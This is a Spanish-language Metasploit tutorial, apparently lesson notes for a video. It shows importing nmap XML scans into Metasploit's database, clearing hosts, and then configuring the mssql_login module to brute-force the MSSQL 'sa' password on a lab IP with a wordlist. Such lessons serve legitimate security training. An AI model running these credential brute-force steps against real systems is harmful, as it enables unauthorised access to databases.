Importando base de datos de nmap a metasploit

Bueno en este video vamos a aprender como importar un escaneo de nmap a metasploit, sin importar si el escaneo es asía una sola ip o un rango, cuando importemos el archivo metasploit va a guardar todo el contenido en su db. Recuerden los comandos que vimos la clase anterior (services, hosts, creds, etc)

Nota cuando escaneamos con nmap y queremos importar el contenido a metasploit, la extensión debe de ser .XML

Otra opción es usar nmap dentro de metasploit, que también lo vamos a ver.

Segundo vamos a comenzar a utilizar uno de los módulos de metasploit, en este caso me centrare en un módulo auxiliar, teniendo en cuenta los resultados de nmap.

Bien yo ahora les voy a mostrar unas prácticas que vamos a llevar a cabo en este video pero también quiero mostrarles otro comando el cual elimina toda la base de datos.

Con el siguiente comando vemos las opciones que nos brinda la opción hosts

msf5 > hosts -h

Usage: hosts [options] [addr1 addr2 ...]

OPTIONS:

-a,--add Add the hosts instead of searching

-d,--delete Delete the hosts instead of searching

-c <col1,col2> Only show the given columns (see list below)

-C <col1,col2> Only show the given columns until the next restart (see list below)

-h,--help Show this help information

-u,--up Only show hosts which are up

-o <file> Send output to a file in csv format

-O <column> Order rows by specified column number

-R,--rhosts Set RHOSTS from the results of the search

-S,--search Search string to filter by

-i,--info Change the info of a host

-n,--name Change the name of a host

-m,--comment Change the comment of a host

-t,--tag Add or specify a tag to a range of hos

hosts -d nos va a eliminar toda la base de datos que tengamos

msf5 > hosts -d

Creando la db con nmap desde metasploit.

msf5 > db_nmap 192.168.52.129

Ahora vamos a importar una bd que tengamos de nmap, recordando la extensión XML

Importando base de datos de nmap a metasploit ejecuta el siguiente comando.

msf5 > db_import rango.xml

Bien ahora que ya tenemos una base de datos dentro de metasploit nos vamos a centrar en un objetivo para utilizar un módulo auxiliar.

con el comando search vamos a buscar todo lo que tenga metasploit dentro de sus módulos, para este ejemplo de demostración vamos a aprovecharnos de una vulnerabilidad que existe en sistemas Windows en base a mssql, entonces vamos a buscar.

Usando módulos auxiliary

msf5 > search mssql

Los resultados son muchos nosotros vamos a intentar obtener una contraseña del servicio de base de datos mssql. Para hacer un ataque de fuerza bruta, utilizando un diccionario. O creando uno con herramientas vistas anteriormente como CEWL. HYDRA O CRUNCH.

También podemos usar diccionarios que ya vienen pre cargados dentro de kali Linux.

root@computaxion: /usr/share/wordlists

Bien una vez que ya tengamos el modulo auxiliar lo cargamos en metasploit.

Para cargar el modulo seleccionado usamos el comando USE

msf5 > use auxiliary/scanner/mssql/mssql_login

Con show options, vamos a ver todas las opciones que nos brinda cada módulo.

msf5 auxiliary(scanner/mssql/mssql_login) > show options

Ahora con el comando SET, vamos a cambiar los parámetros que trae el modulo. En primera medida le vamos a agregar la ip de la victima

msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.52.131

lo segundo seria agregarle el diccionario con el siguiente comando.

msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/dictt.txt

En este caso vamos a suponer que ya tenemos el usuario o podemos poner el que viene por defecto en las base de datos de mssql que es SA.

msf5 auxiliary(scanner/mssql/mssql_login) > set USERNAME sa

Y ahora si por ultimo usamos el comando run para ejecutar el modulo auxiliar

msf5 auxiliary(scanner/mssql/mssql_login) > run